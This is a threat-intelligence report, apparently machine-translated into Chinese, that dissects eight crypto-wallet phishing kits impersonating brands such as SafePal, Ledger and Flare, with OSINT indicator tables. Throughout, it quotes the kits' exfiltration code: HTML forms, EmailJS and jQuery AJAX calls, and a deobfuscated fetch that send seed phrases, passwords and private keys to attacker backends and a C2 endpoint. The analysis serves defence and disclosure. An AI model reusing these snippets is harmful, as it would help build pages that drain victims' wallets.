加密货币网络钓鱼的剖析：
8起真实攻击事件剖析

冒充

一个用于钱包验证的虚构“去中心化协议”。该协议采用CryptoCompare的实时价格行情显示，并链接至真实的区块链浏览器（以太坊、BSC、Polygon、Avalanche、Solana、Cardano），以增强可信度。 该登录页面展示了100多个钱包徽标，并设有3步“验证”流程。

双重外泄链

这5个系统中后端架构最为复杂——每一条被盗的凭据都会通过 两个独立通道 同时：

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

OSINT调查结果

指标	值
诈骗邮件	Bestgrace309@gmail.com
Telegram 机器人	@DewdropsTG_bot（ID：7567323692）
Telegram 收件人	@metatech2（聊天ID：7350941887）
后端	emailjs-backend-ovtg.onrender.com
EmailJS 服务	service_d5qigxs / template_7bqxeaa
隐藏领域	layerschain.in（源自 CF 电子邮件混淆处理）
已发送的消息	1,824+（来自 Telegram 的 message_id）
域名年龄	2天（TLS：2026年3月25日）

冒充

对现实的像素级精准还原 Aqualibre (AQLA) 令牌迁移页面。该 HTML 包含一个元数据标签，其中披露了来源： data-scrapbook-source="https://token.aqla.app/migration"，时间戳为2024年11月19日。

零代码方法

该攻击者需要 零服务器端代码. 该 表单直接提交至 非静态 — 这是静态网站的一种合法表单后端。每条 提交的信息都会被转发到诈骗者的邮箱。攻击者的 邮箱是 在源代码中永远不会显示.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

冒充

该子域名包含“safpal" — 这是 对 SafePal，一款 广受欢迎的硬件钱包。该网站伪装成“区块链钱包 问题反馈”平台，设有26个虚假问题分类。利用Typed.js实现 区块链名称（以太坊、BSC、Polygon……）的动态展示，并使用 LiveCoinWatch行情滚动条来增强可信度。

相同的装备，相同的操作员？

使用 完全相同的网络钓鱼模板 作为第2号站点： 完全相同 connect.html, 完全相同 wallets.html 包含 60 多个徽标，使用相同的 Un-static 后端（表单 ID 不同—— 6f1b82c3...da9943af). 该套件完全相同，这强烈表明 由一名操作员同时负责这两个站点.

代码中的错误提示：“Privay Policy”（缺失一个“c”）、“seperated”（应为“separated”）、“Kestore”（缺失一个“y”）。密码字段使用 type="text" 而不是 type="password".

冒充

几乎是该产品的完美复刻版 Flare Network portal —— 一个真正的第1层EVM区块链，支持FTSO和Data Connector协议。复制了30多家生态系统合作伙伴、导航功能和品牌形象。网站图标从一个域名抢注网站加载而来： portal.flaremainet.com （“mainnet”中少了一个“n”）。

EmailJS 双重冗余

唯一使用 同时使用两个独立的 EmailJS 账户 用于防止关停冗余：

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

每起盗窃案的电子邮件主题： "New Wallet Details from Flare".

冒充

一款通用的“COIN NODE”/“Wallet Fix”服务（无具体品牌）。版权所有“Wallet Fix 2022”——该套件模板至少已有4年历史。图片托管于 pumpeth.com (AWS 上的 WordPress)。

钓鱼即服务

最令人担忧的后端架构：一个 基于 UUID 的多租户 API:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

每个诈骗者都会获得一个专属的 UUID 端点。一名中央操作员负责维护该 API、追踪诈骗活动，并可能从被盗资金中抽取分成。这就是 工业化规模的加密货币盗窃 — 一种“钓鱼即服务”（Phishing-as-a-Service）模式。

相关基础设施（基本已废弃）

域名	角色	状态
api.pulseresolve.com	数据外泄 API	NXDOMAIN
walletissuesfix.net	网站图标托管	NXDOMAIN
syncwallet.online	Logo 主持人	NXDOMAIN
pumpeth.com	图片 CDN	已上线（AWS）

冒充

A 双管齐下的行动：位于 wallet-support-39n.pages.dev 包含15个虚假发行类别和39个钱包品牌，此外还有 像素级还原的 Ledger 入门指南克隆版 在 ledger-recovery.support 托管在 Replit 上——包含设备型号选择、PIN 设置以及一个包含 24 个单词的助记词网格，其中 真正的 BIP39 自动补全.

反扫描器 C2 后端

该钱包支持页面会将被盗数据发送至 api.uranustoken.org/log — 一个部署在 Cloudflare 后端的自定义 nginx/Ubuntu C2 服务器。后端 有意丢弃所有 GET 请求 （返回 522 超时错误），仅响应 POST 请求。这意味着 URL 扫描器、Google Safe Browsing 爬虫以及使用 GET 请求向该端点发送探测的安全研究人员都无法获取任何信息——该 C2 似乎已失效。

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

该 Ledger 克隆项目在 Replit 平台上运行着一个独立的 Express.js 后端： POST /api/recovery-phrase 收集 {deviceId, pin, phrase}. 它返回 400 {"error":"Invalid data provided"} 对于格式错误的输入——确认后端是否 已上线并正在积极验证中 被盗数据。

OSINT调查结果

指标	值
前端（钱包）	wallet-support-39n.pages.dev
前端（Ledger）	ledger-recovery.support (34.111.179.208)
C2 后端	api.uranustoken.org → nginx/1.24.0 Ubuntu
C2 IP地址	104.21.60.163 / 172.67.198.35（Cloudflare）
Replit 验证	a43d3852-5304-47af-a61b-f0f6f3912736
注册处	Name.com (ledger-recovery.support)
已部署	2026年1月9日（Last-Modified标头）
技术栈	React + Vite + Tailwind v4.1 + Framer Motion

冒充

一个通用的“去中心化发售平台”，具有 21种饵料类别 （质押、迁移、KYC、赠品活动、领取奖励、资产恢复、预售、铸造NFT、被锁定的账户……）以及 70多个钱包品牌 ——这是我们见过的最全面的钱包列表之一。那个显而易见的拼写错误“Sychronize”（少了一个“n”），暴露了这是假的。

FormSubmit Pipeline

用途 FormSubmit.co — 一项正规的表单转邮件服务。端点哈希 a2cf4131f1a5d39453c7c183df96f86f 这是诈骗者电子邮件地址的MD5值。我们对Gmail、Yahoo、Hotmail、ProtonMail、Yandex和Mail.ru上的数百种电子邮件地址模式进行了暴力破解—— 未找到匹配项. 诈骗者使用的是一个不常见的或随机生成的电子邮件地址。

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

OSINT调查结果

指标	值
域名	mainnetvalidationapp.pages.dev
表单提交哈希值	a2cf4131f1a5d39453c7c183df96f86f
活动 ID	DAPP 去中心化
FontAwesome 工具包	bdc3291137（套件编号 #112310842，免费版 v6.7.2）
jQuery	3.2.1 与 3.5.1 同时加载
Bootstrap	CSS 5.2.2 + JS 5.3.0-alpha1（版本不匹配）

冒充

未知——前端和后端均已离线。根据有效载荷结构判断，这是一款加密钱包助记词窃取器。该 Cloudflare R2 公共存储桶 （对象存储，而非 Pages）是一种 有充分记录的网络钓鱼攻击途径 据Netskope报告，已识别出5,000多个恶意网页，流量增长了61倍。

“脚本小子”的配置

最 基本操作 在此集合中。助记词会被发送 逐字 指向运行在家庭电脑或VPS上的PHP脚本，该脚本通过免费的动态DNS进行访问：

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

OSINT调查结果

指标	值
前端	pub-519769e9eb634616b1746c2018641d56.r2.dev [离线]
后端	mercifuljigga4real123.publicvm.com [NXDOMAIN]
R2 桶 ID	519769e9eb634616b1746c2018641d56
DDNS 服务商	DNSExit.com / Netdorm, Inc.（俄亥俄州辛辛那提市）
DNS NS	ns10–13.dnsexit.com
用户名	mercifuljigga4real123（简体中文（大陆））